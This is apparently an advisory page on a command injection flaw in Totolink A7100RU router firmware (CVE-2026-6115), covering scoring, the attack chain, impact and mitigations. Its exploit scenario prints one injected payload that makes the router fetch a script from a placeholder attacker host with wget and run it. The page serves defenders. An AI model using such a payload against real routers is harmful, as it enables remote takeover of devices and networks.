Attack ChainAIDerived
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AccessScan for exposed Totolink admin interface
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DeliverySend crafted POST to /cgi-bin/cstecgi.cgi
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ExploitInject shell commands via enable parameter
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ExecutionExecute arbitrary code as root
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ImpactEstablish persistent backdoor access
Vulnerability Assessment
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CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can exploit Totolik A7100RU router firmware version 7.4cu.2313_b20191024 by sending a crafted request to /cgi-bin/cstecgi.cgi with manipulated 'enable' parameter in setAppCfg function. No authentication or user interaction required. |
| Impact | Real-world risk is critically high due to convergence of multiple severe factors. CVSS 9.8 reflects worst-case scenario: network-accessible (AV:N), low attack complexity (AC:L), no authentication required (PR:N), no user interaction (UI:N), and complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H). The publicly available exploit code on GitHub dramatically increases risk by enabling even low-skilled attackers to weaponize this vulnerability. SSVC decision framework assessment indicates high technical impact (arbitrary code execution), automatable exploitation (no user interaction required, simple HTTP request), and confirmed proof-of-concept availability. However, absence from CISA KEV suggests this is not yet widely exploited in targeted campaigns, possibly due to the limited deployment footprint of this specific Totolink router model. EPSS data not provided, but comparable unauthenticated RCE vulnerabilities in IoT devices typically show 30-60% exploitation probability within months of public disclosure. The combination of internet-facing management interfaces on consumer routers, vendor patching challenges in IoT space, and available exploit code makes this a genuine priority for organizations using affected devices, despite the niche product scope. |
| Exploit ScenarioDerived | An external attacker scans internet-exposed IP ranges for Totolink A7100RU devices by fingerprinting the web administration interface. Upon identifying a target, the attacker sends a specially crafted HTTP POST request to /cgi-bin/cstecgi.cgi with the setAppCfg function, injecting shell metacharacters and malicious commands into the 'enable' parameter (example: enable=1;wget http://attacker.com/malware.sh -O /tmp/m.sh;sh /tmp/m.sh). The router executes the injected commands with root privileges, downloading and executing the attacker's payload to establish persistent backdoor access, pivot into the internal network, or enlist the device in a botnet for DDoS attacks. |
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Alert meAnalysisAIv1 – Apr 12, 2026
OS command injection in Totolink A7100RU router firmware (version 7.4cu.2313_b20191024) allows unauthenticated remote attackers to execute arbitrary system commands via the 'enable' parameter in the setAppCfg function of /cgi-bin/cstecgi.cgi. CVSS 9.8 critical severity with network attack vector, low complexity, and no authentication required. Publicly available exploit code exists on GitHub, significantly lowering the barrier to exploitation, though no CISA KEV listing indicates targeted campaigns have not been observed at time of analysis.
RemediationAI
No vendor-released patch identified at time of analysis from available reference data. Organizations using Totolink A7100RU routers should immediately check the vendor website at https://www.totolink.net/ and contact Totolink technical support directly to inquire about patched firmware releases addressing CVE-2026-6115. As immediate risk mitigation, restrict network access to the router's administrative interface (/cgi-bin/ endpoints) to trusted management networks only, blocking internet-facing access via firewall rules or disabling remote administration features entirely. Implement network segmentation to isolate affected routers from critical infrastructure. Monitor for unusual outbound connections or system command execution patterns. Given the age of the vulnerable firmware (October 2019) and typical end-of-life cycles for consumer networking equipment, organizations should evaluate replacing affected devices with current-generation routers from vendors with stronger security update commitments. Review VulDB advisory at https://vuldb.com/vuln/356975 and the public exploit repository at https://github.com/Litengzheng/vuldb_new/blob/main/A7100RU/vul_180/README.md to understand specific attack patterns for detection signature development.
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Technical ContextAI · show details
This vulnerability affects the CGI (Common Gateway Interface) handler in Totolink A7100RU wireless router firmware, specifically within the setAppCfg function accessible via /cgi-bin/cstecgi.cgi endpoint. The root cause is CWE-78 (OS Command Injection), where user-supplied input to the 'enable' parameter is not properly sanitized before being passed to system shell commands. CGI scripts in embedded device firmware frequently suffer from insufficient input validation when interfacing between web requests and underlying Linux system calls. The affected product (CPE 2.3:a:totolink:a7100ru) is a consumer-grade wireless router, and the vulnerable firmware version 7.4cu.2313_b20191024 was released in October 2019. Command injection flaws in router administration interfaces are particularly severe because they grant attackers direct system-level access to the device's operating system, bypassing application-layer controls entirely.
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CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
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CVSS VectorVendor: VulDB
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4DescriptionCVE.org
A flaw has been found in Totolink A7100RU 7.4cu.2313_b20191024. This affects the function setAppCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Executing a manipulation of the argument enable can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used.
Executive ViewAI
Totolik A7100RU router firmware versions up to 7.4cu.2313_b20191024 contain a critical unauthenticated remote command injection vulnerability allowing attackers to fully compromise affected devices without credentials. Organizations operating this router model face immediate risk of network breach, data exfiltration, and lateral movement into internal systems, as publicly available exploit code significantly reduces attack complexity for adversaries.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to /cgi-bin/cstecgi.cgi endpoint via firewall rules blocking external traffic to affected routers; (2) Disable web management interface on affected devices if operationally feasible; (3) Implement egress filtering to prevent compromised routers from establishing outbound command-and-control connections; (4) Deploy network intrusion detection signatures for exploitation attempts to setAppCfg function.
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Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
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